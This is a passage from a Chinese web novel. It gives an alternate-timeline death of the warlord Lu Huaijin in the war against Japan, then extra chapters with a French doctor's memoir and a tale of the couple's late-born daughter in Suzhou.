他看到的,只是一具已经没有了呼吸的、冰冷的尸体。
那个叫沈晚清的女子,因为失血过多,死在了那个寒冷的夜晚。她的手里还死死攥着一把手术刀,眼睛睁着,似乎在控诉这世道的不公。
陆淮锦站在坑边,看着那张即使沾满泥污也难掩清丽的脸。
不知为何,他的心脏猛地抽痛了一下。像是有什么原本属于他的重要东西,就这样硬生生地碎了。
“厚葬。”
他只说了两个字,声音冷得像冰。
那一夜,陆淮锦血洗了苏家,将那些害死她的人全部点天灯。但他心里的那个洞,却永远也填不满了。
……
北平,陆帅府。
民国二十年(1931年)。
五年过去了。
陆淮锦统一了北六省。他的手段比任何时候都要残忍、暴戾。
在这个时空里,没有“神医沈晚清”,没有“中西医结合医院”,也没有那个会逼着他喝药、不许他抽烟的管家婆。
“咳咳咳……”
深夜的书房里,传来剧烈的咳嗽声。
陆淮锦捂着嘴,掌心里是一滩殷红的血。
“大帅,您这旧伤……得养啊。”副官小心翼翼地劝道。
“养什么养?烂命一条。”
陆淮锦随手擦去血迹,抓起桌上的**针剂,熟练地给自己扎了一针。
没有她的针灸,没有她的汤药,他只能靠**和烈酒来麻痹那一身的伤痛。
他站起身,走到窗前。窗外是繁华的北平,但他眼里只有无尽的荒凉。
他经常会做一个梦。
梦里有一个看不清面容的女人,那是他从未得到过的温暖。
他让人去查了那个死在乱葬岗的女人的身世。她是留洋回来的医学博士,她是原本可以成为名医的天才。
他找到了她的一张学生证照片。
照片上的她,剪着短发,笑容明媚,眼神清澈。
那是他黑暗生命里,唯一的、从未触碰过的光。
……
长城古北口。
民国二十二年(1933年)。
长城抗战爆发。
在这个时空,因为没有沈晚清的“毁家纾难”,陆家军的装备要差得多。没有那三十架飞机,没有盘尼西林。
战斗打得异常惨烈。
“大帅!撤吧!伤亡太大了!弟兄们没药了!”
参谋长跪在地上痛哭,“伤兵营里全是破伤风和坏疽,根本救不过来啊!”
陆淮锦坐在一块断壁上,正在用烧红的刺刀烙自己的伤口——那是止血的土办法。
“滋啦——”
皮肉焦糊的味道弥漫开来。他疼得冷汗直流,却连哼都没哼一声。
“撤?”
陆淮锦冷笑一声,那是绝望到底的疯狂,“往哪撤?身后就是北平。老子就是死,也要死在这长城上。”
“传令!敢死队跟我上!”
这一战,他打赢了。
但他杀光了所有的俘虏,甚至不顾国际公约,下令坑杀日军。
世界称他为“疯子”、“屠夫”。
他不在乎。
反正这个世界对他来说,早就没什么好留恋的了。
……
台儿庄。
民国二十七年(1938年)。
全面抗战爆发后的第二年。
陆家军作为杂牌军,被派往了最危险的阵地。
日军集结了两个精锐师团,疯狂**。
陆淮锦身边的人一个个倒下。
没有“清毒一号”解毒剂,日军的毒气弹肆虐,成千上万的士兵在痛苦中死去。
没有高效的战地医院,轻伤变重伤,重伤变死亡。
这一天,黄昏。
阵地上只剩下陆淮锦一个人了。
他的左腿被炸断了,腹部被刺刀捅穿,鲜血像泉水一样涌出来。
周围全是尸体,有敌人的,也有兄弟的。
“哒哒哒……”
日
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军的坦克履带声越来越近。
陆淮锦靠在一辆被炸毁的坦克履带上,费力地从怀里掏出一包被鲜血浸透的烟。
点了几次,火柴都灭了。
“妈的,连火都欺负老子。”
他骂了一句,索性扔了烟。
他的手颤颤巍巍地伸进贴身的口袋,摸出了那张已经被摩挲得发白、边缘卷起的小照片。
那是沈晚清的学生照。
这是他这辈子唯一的秘密,也是他唯一的精神寄托。
在这十二年的杀戮岁月里,每当他疼得睡不着,每当他想要发疯**的时候,他就会拿出这张照片看一看。
看着那双清澈的眼睛,他那颗躁动的心,就能奇迹般地安静下来。
“晚晚……”
他第一次,也是最后一次,对着照片喊出了这个名字。
“虽然咱们没说过话,但我总觉得……咱们好像认识了很久很久。”
“如果有下辈子……”
陆淮锦看着照片上那明媚的笑容,嘴角艰难地扯出一丝温柔的弧度:
“你别死那么早。”
“等着我。”
“我一定……早点去救你。”
“我给你把头发梳好,给你买最贵的旗袍,带你去看最好的风景……”
视线越来越模糊。
日军冲上来了。几把明晃晃的刺刀对准了他的胸膛。
陆淮锦没有反抗。
他只是用尽最后的力气,将那张照片死死地护在心口,然后闭上了眼睛。
“砰!”
一声枪响。
一代枭雄,北地修罗,陆淮锦。
战死沙场。
终年四十二岁。
他死时,手里紧紧攥着一张女人的照片,力气大得连日军都没能掰开。
……
跨越时空的风
风吹过荒凉的战场。
卷起了地上的尘土。
那个时空的陆淮锦**,带着无尽的遗憾和孤独。
但也或许正是因为这份刻骨铭心的执念,穿透了岁月的壁垒,才换来了另一个时空里,那早到了十分钟的——
“停车。”
“前面好像有人。”
……
第183章 番外:亨利医生的回忆录
时间:公元1975年,冬。地点:法国巴黎,圣日耳曼大道,杜邦家族宅邸。
壁炉里的橡木燃烧着,发出噼啪的声响。
我,亨利·杜邦,已经是八十岁的老人了。我的手虽然布满了老人斑,颤抖得拿不住手术刀,但依然能握住那支威迪文钢笔。
我的孙女苏菲推门进来,手里拿着一张泛黄的黑白照片。
“爷爷,这是谁?”她好奇地指着照片中间那个穿着旗袍、笑得温婉的东方女子,“她真美,像罗浮宫里的画一样。”
我戴上老花镜,看着那张照片。
那是1945年重庆胜利**时拍的。照片上,年轻的我手里举着香槟,笑得像个傻瓜。而站在我身边的,是那个如高山般巍峨的男人陆淮锦,和那个如流水般坚韧的女人沈晚清。
“她?”
我摘下眼镜,擦了擦湿润的眼角,微笑着对孙女说:
“苏菲,她不是画。她是上帝遗落在东方的天使,是我见过的最伟大的医生,也是我这辈子最敬重的……女神。”
以下,摘自即将出版的《亨利·杜邦回忆录:我在中国的那二十年》。
第一章:傲慢与偏见
上帝作证,1926年我刚到中国海城的时候,是个彻头彻尾的混蛋。
那时候的我,顶着巴黎医学院博士的头衔,鼻孔朝天。我认为西医是唯一的科学,而中医?哦,那时候我觉得那简直就是巫术——把树根煮水喝,用针扎人的皮肤,这怎么可能治病?
直到我遇见了沈。
那是一次糟糕的手术。病人的动脉大出血,我都快绝望了。
然后她来了。她没有穿白大褂,手里拿着几根细细的银针。
“Getout!”我当时冲她大吼。
但她没有理我。她只是冷静地把针扎在病人的几个奇怪的位置上。
奇迹发生了。真的,就像魔术一样!那个像喷泉一样的出血点,竟然慢慢止住了!病人的血压开始回升。
那一刻,我的世界观崩塌了。
后来我才知道,那叫“穴位”。
从那天起,我成了她最忠实的跟班。我像个小学生一样,跟在她屁股后面问:“沈,为什么要扎这里?”“沈,这个草为什么是苦的?”
她教会了我什么是谦卑。她让我明白,医学没有国界,能救人的,就是好医术。
第二章:狮子与驯兽师
如果说沈是天使,那她的丈夫陆淮锦,就是一头狮子。一头暴躁、护短、甚至有点可怕的东方雄狮。
说实话,刚开始我很怕他。
那个男人身上的杀气,隔着三米远都能冻**。每次我和沈讨论病情靠得太近,或者是激动地拥抱她,我就能感觉到背后有一道要把我烧穿的视线。
记得有一次在长城抗战的间隙。
这头狮子偷偷跑到我的帐篷里,手里拿着一块冻得硬邦邦的牛肉。
“亨利。”他板着脸,手里还握着那把**无数的大刀,“听说你们洋人会做那个什么……牛排?教我。”
我吓了一跳:“大帅,您要学做饭?”
“废话。”他瞪了我一眼,耳根却有点红,“晚晚这几天累瘦了,她说想吃西餐。”
那一晚,这位威震华北的统帅,蹲在煤油炉子前,被油烟呛得眼泪直流,却依然笨拙地翻动着那块牛肉。
那时候我就明白了一件事。
在这个世界上,只有沈晚清能驯服这头狮子。
在别人面前,他是杀伐果断的修罗;但在沈面前,他就是一只收起了利爪、只想求抚摸的大猫。
他们的爱情,没有那么多那种好莱坞式的肉麻台词。
就是在炮火连天的防空洞里,两人分吃半个馒头;就是在手术室断电的那一刻,他用后背为她
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挡住落下的碎石。
这就是东方的浪漫。生死相依,不离不弃。
第三章:光
很多人问我,为什么要在那个战火纷飞的国家待那么久?
为什么不回安全的巴黎?
因为那里有光。
在细菌战最绝望的时候,沈晚清把自己关在实验室里,以身试毒。我看着她手臂上溃烂的伤口,看着她因为疼痛而发抖却依然坚定的眼神,我哭了。
我问她:“值得吗?”
她笑着对我说:“亨利,如果我们不做,死的人会更多。”
在那一刻,我觉得她身上散发着圣母玛利亚一样的光辉。
她不仅仅是在救人,她是在拯救一个民族的灵魂。
后来,他们捐光了家产,买来了飞机。
再后来,他们放弃了高官厚禄,隐居江南。
1949年我离开中国的时候,去苏州看望他们。
那时候的他们,已经是一对普通的老夫妻了。陆在院子里劈柴,沈在晒药。阳光洒在他们身上,岁月静好得让人想落泪。
陆那个老家伙,依然很小气。
我临走时想最后拥抱一下沈,结果被他一把挡住了。
“老洋鬼子,男女授受不亲。”他哼哼着,却塞给了我一坛他亲手酿的桂花酒。
那坛酒,我一直没舍得喝。
如今,我也老了。
听说他们在中国过得很安详,我也就放心了。
我这一生,去过很多地方,见过很多人。
但我永远忘不了那个东方的国度,忘不了那片红色的土地。
更忘不了那个穿着白大褂、手持银针的女子,和那个永远站在她身后、为她遮风挡雨的男人。
如果有天堂,我想,那里一定有中草药的香味。
——谨以此书,献给我永远的挚友:陆淮锦,沈晚清。
亨利·杜邦1975年于巴黎
第184章 番外:儿女双全
民国三十六年,春末。
此时的陆淮锦已经卸甲归田两年了。
这两年,他戒了烟,脾气也收敛了不少,每天最大的乐趣就是在院子里劈柴、喂鸡,或者是给正在坐诊的沈晚清端茶递水。
然而,这天中午,平静的生活被打破了。
“呕——”
正在吃饭的沈晚清突然捂着胸口,对着垃圾桶一阵干呕。
“怎么了?是不是吃坏肚子了?”
陆淮锦吓得筷子都掉了,连忙冲过去帮她拍背,一脸焦急,“我就说那家陈记的肘子不新鲜!我这就去砸了他们的招牌!”
“站住。”
沈晚清按住他的手,脸色有些古怪。她搭上自己的脉搏,闭目凝神了片刻。
然后,她睁开眼,神情复杂地看着陆淮锦:
“淮锦……咱们家,可能又要添丁了。”
“添丁?添什么丁?念清要结婚了?”陆淮锦一脸茫然。
沈晚清无奈地指了指自己的肚子:
“是你。你要当爹了。”
“哐当!”
陆淮锦手里刚端起的水杯,再一次掉在地上,摔得粉碎。
这位曾经面对十万日军都面不改色的老帅,此刻嘴巴张得能塞进一个鸡蛋,结结巴巴地说道:
“你……我……这……晚晚,你都四十三了!我也快五十了!这……这怎么可能?!”
随之而来的,是巨大的恐惧。
“不行!”
陆淮锦猛地站起来,脸色煞白,“打掉!必须打掉!高龄产妇太危险了!我不能让你冒这个险!咱们有念清一个就够了!”
在这个年代,四十三岁生孩子,简直就是闯鬼门关。
“坐下。”
沈晚清却很淡定,“我是医生,我自己的身体自己清楚。这一胎脉象稳固,是个来报恩的孩子。”
“可是……”
“没有可是。陆淮锦,这是上天给我们的礼物。”沈晚清摸着肚子,眼神温柔,“我想留下她。”
陆淮锦拗不过她。
从那天起,苏州城里出了个奇景。
昔日威风凛凛的陆大帅,变成了一惊一乍的“神经病”。沈晚清走个路,他在旁边搀着;沈晚清打个喷嚏,他立马叫郎中,虽然沈晚清自己就是神医。
……
次年冬,大雪。
一声嘹亮的啼哭声响彻陆家大院。
“生了!生了!”
接生婆抱着一个粉雕玉琢的襁褓跑出来,“恭喜恭喜!是个千金!长得跟菩萨身边的童女似的!”
一直在门外转了八百圈、急得满头大汗的陆淮锦,听到“千金”两个字,腿一软,差点给接生婆跪下。
他颤颤巍巍地接过那个软绵绵的小团子。
小家伙刚哭完,睫毛上还挂着泪珠,眼睛没睁开,小嘴巴却在吧唧吧唧地动。
陆淮锦的心,在那一瞬间,化成了一滩水。
“闺女……我有闺女了……”
他看着怀里的小人儿,傻笑得像个两百斤的孩子。
沈晚清给女儿取名——陆悠悠。
寓意青青子衿,悠悠我心;也希望她这一生,悠然自得,无忧无虑。
……
五年后。
陆家大院。
“驾!驾!大马快跑!”
院子里,传来小女孩银铃般的笑声。
只见五岁的陆悠悠,穿着一身红色的小棉袄,扎着两个冲天辫,正骑在一个男人的脖子上,手里挥舞着一根狗尾巴草。
而那个趴在地上、毫无尊严地当“大马”的男人,正是曾经威震华北的——陆淮锦。
“好嘞!悠悠坐稳咯!爹爹起飞啦!”
陆淮锦一点都不觉得丢人,反而乐在其中,驮着闺女在院子里转圈圈。
“爹,我回来了。”
门口,一身戎装、肩扛将星的陆念清推门而入。
他刚一进门,就看到了这“辣眼睛”的一幕。
陆念清嘴角抽搐了一下。
想当年,他五岁的时候,他爹是怎么对他的?
——“陆念清!站如松坐如钟!给老子去扎马步!扎不够两个时辰不许吃饭!”
——“男子汉大丈夫,流血不流泪!哭什么哭!”
这差别待遇,是不是太明显了点?
“哥!哥哥!”
陆悠悠看到陆念清,立刻抛弃了“老马”,从陆淮锦身上跳下来,像个小炮弹一样冲进陆念清怀里。
“悠悠想死你啦!”
陆念清原本严肃的脸,瞬间冰雪消融。他一把抱起妹妹,从怀里掏出一大堆礼物:
“看哥哥给你带什么了?这是上海的大白兔奶糖,这是德国的巧克力,还有这个,洋娃娃!”
“哇!哥哥最好了!”陆悠悠在那张英俊的脸上“吧唧”亲了一口。
陆淮锦从地上爬起来,拍了拍膝盖上的土,瞬间变脸,恢复了严父的模样,冷冷地看着儿子:
“回来了?这
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次演习成绩怎么样?没给陆家丢脸吧?”
陆念清:“……”
陆念清无奈地叹了口气:“爹,演习第一。另外,我是特意请假回来给悠悠过生日的。”
“这还差不多。”陆淮锦哼了一声,转头又对着陆悠悠露出谄媚的笑脸,“乖闺女,爹给你做了个秋千,快来看看喜不喜欢?”
……
晚饭时分。
一家四口围坐在圆桌旁。
桌上摆满了陆悠悠爱吃的菜:糖醋排骨、松鼠桂鱼、芙蓉蒸蛋。
“来,悠悠吃鱼,爹把刺都挑干净了。”陆淮锦夹了一块鱼肉。“悠悠吃虾,哥给你剥好了。”陆念清放下一只虾仁。
沈晚清看着这两个把闺女宠上天的男人,无奈地摇了摇头。
“悠悠,坐有坐相。不许挑食,青菜也要吃。”沈晚清板起脸,夹了一筷子青菜放到女儿碗里。
在这个家里,唯一的“黑脸”只能由她来唱。
“娘……”陆悠悠眨巴着大眼睛,试图卖萌。
“看我也没用。”沈晚清不为所动。
陆淮锦刚想开口求情:“哎呀孩子还小……”
“你闭嘴。”沈晚清一个眼神扫过去。
昔日大帅立马低头扒饭:“听**,吃青菜,青菜好,长高个儿。”
陆悠悠委屈地瘪了瘪嘴,乖乖吃掉了青菜。
吃完饭,陆悠悠趴在陆淮锦怀里,玩着他衣服上的扣子,突然问道:
“爹爹,外面的人都说你以前是大英雄,是个大老虎,是真的吗?”
陆淮锦愣了一下,他看了一眼正在灯下看书的沈晚清,又看了一眼英姿勃发的儿子。
他低下头,用满是胡茬的下巴蹭了蹭女儿嫩滑的小脸,柔声道:
“爹以前是个大老虎,凶得很。”
“但是后来啊,爹遇到了一个驯兽师,就被驯服啦。”
“再后来,又生了一只小猫咪。”
“现在,爹不是老虎了,爹就是一只看门的大黄狗,专门守着咱们这个家,谁也不许欺负你们。”
陆悠悠咯咯直笑,钻进他怀里:
“我才不要爹当狗,爹是世界上最好的爹爹!”
窗外,月色如水,岁月静好。
曾经的硝烟与战火,仿佛已经是上辈子的事了。
陆淮锦看着满屋的温馨,看着儿女双全,看着爱人在侧。
他知道,这才是他这辈子打赢的,最漂亮的一场仗。